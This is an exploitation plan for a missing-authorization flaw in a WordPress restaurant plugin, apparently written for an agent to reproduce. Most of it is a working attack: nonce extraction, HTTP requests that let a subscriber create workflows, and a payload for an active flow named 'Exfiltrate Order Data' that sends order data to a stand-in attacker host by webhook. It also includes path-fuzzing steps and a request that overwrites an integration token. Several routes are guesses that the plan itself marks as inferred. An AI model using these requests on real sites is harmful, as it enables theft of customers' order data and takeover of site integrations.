Exploitation Research Plan: CVE-2026-11818

1. Vulnerability Summary

CVE-2026-11818 is a Missing Authorization vulnerability in the WPCafe plugin (versions <= 3.0.14). The plugin registers several REST API endpoints intended for managing "notification flow workflows" (automation triggers for restaurant orders, table bookings, etc.).

While these endpoints perform a wp_rest nonce check, they fail to implement a permission_callback that verifies if the authenticated user has administrative privileges (e.g., manage_options). Consequently, any authenticated user, including those with Subscriber level access, can manipulate these workflows.

2. Attack Vector Analysis

• Vulnerable Endpoint: WordPress REST API.
• Namespace (Inferred): wp-cafe/v1
• Routes (Inferred):
  • GET /wp-json/wp-cafe/v1/flows (List workflows)
  • POST /wp-json/wp-cafe/v1/flows (Create/Update workflows)
  • DELETE /wp-json/wp-cafe/v1/flows/(?P<id>[\d]+) (Delete workflows)
• Authentication: Authenticated (Subscriber or higher).
• Precondition: Access to a valid wp_rest nonce. This nonce is standard for the WordPress REST API and is localized into the frontend page source for all logged-in users.

3. Code Flow

The vulnerability resides in the PHP class responsible for registering the Notification Flow REST routes (likely includes/modules/notification-flow/class-rest-api.php or similar, based on plugin structure patterns).

1. Registration: The plugin calls register_rest_route for the flows endpoints.
2. Missing Check: In the register_rest_route configuration array, the permission_callback is either:
   • Missing entirely.
   • Set to __return_true.
   • Only checks if the user is logged in via is_user_logged_in() without checking capabilities.
3. Execution: When a Subscriber sends a request with a valid wp_rest nonce, WordPress passes the request to the plugin's controller (e.g., get_items, create_item), which proceeds to modify the database.

4. Nonce Acquisition Strategy

The wp_rest nonce is required to interact with the REST API. This is a standard WordPress security feature, but it does not replace proper authorization (capability checks).

1. Identify Trigger: The wp-api scripts are typically enqueued on any page where the WPCafe dashboard or frontend ordering system is active.
2. Navigation: Use the browser to navigate to the WordPress dashboard (as a Subscriber).
3. Extraction:
   • Variable: window.wpApiSettings
   • Key: nonce
   • Command: browser_eval("window.wpApiSettings.nonce")

5. Exploitation Strategy

The goal is to demonstrate arbitrary modification by creating a malicious "Notification Flow" that could trigger an external webhook or send an email when an order is placed.

Step 1: Discover Existing Flows

Request:

GET /wp-json/wp-cafe/v1/flows HTTP/1.1
Host: [TARGET]
X-WP-Nonce: [EXTRACTED_NONCE]

Step 2: Create a Malicious Flow

This payload creates a workflow that triggers a webhook to an attacker-controlled server whenever a new order is received.

Request:

POST /wp-json/wp-cafe/v1/flows HTTP/1.1
Host: [TARGET]
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]

{
    "title": "Exfiltrate Order Data",
    "status": "active",
    "trigger": "order_status_changed",
    "actions": [
        {
            "type": "webhook",
            "settings": {
                "url": "http://attacker-controlled.com/log",
                "method": "POST"
            }
        }
    ]
}

6. Test Data Setup

1. Install WPCafe: Ensure WPCafe <= 3.0.14 is installed and activated.
2. Create User: Create a Subscriber-level user.
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Plugin Settings: Enable the "Notification Flow" module if it is not active by default in the WPCafe settings.

7. Expected Results

• Discovery: The GET request returns a JSON list of existing workflows (even if empty []).
• Creation: The POST request returns a 201 Created or 200 OK status with the details of the new flow and an id.
• Impact: A Subscriber has successfully performed an administrative action (creating an automation workflow).

8. Verification Steps

After performing the HTTP request, verify the database state via WP-CLI:

# Check if the new flow exists in the posts table (WPCafe often uses a custom post type for flows)
wp post list --post_type=wpc-flow

# Or check the options table if flows are stored as an option
wp option get wpc_notification_flows

(Note: WPCafe typically uses a custom post type wpc-flow or a custom table wp_wpc_notification_flows).

9. Alternative Approaches

If the flows endpoint name differs:

1. Path Fuzzing: Try wp-cafe/v1/notification-flows or wp-cafe/v1/integrations.
2. JS Inspection: Inspect assets/build/chunks/js/466.eabebea4.js for strings like updateIntegrationStatus or getIntegrations to find the exact REST path mapping.
   • In the provided source: (0,a.useSelect)(function(e){return e(null===u.zQ||void 0===u.zQ?void 0:u.zQ.integrations).getIntegrationsState()},[]) indicates an "integrations" endpoint.
3. Integrations Modification: Attempt to modify global settings (e.g., whatsapp_token) using the same lack of authorization:

   POST /wp-json/wp-cafe/v1/integrations HTTP/1.1
   ...
   {"name": "whatsapp", "status": "active", "whatsapp_token": "MALICIOUS_TOKEN"}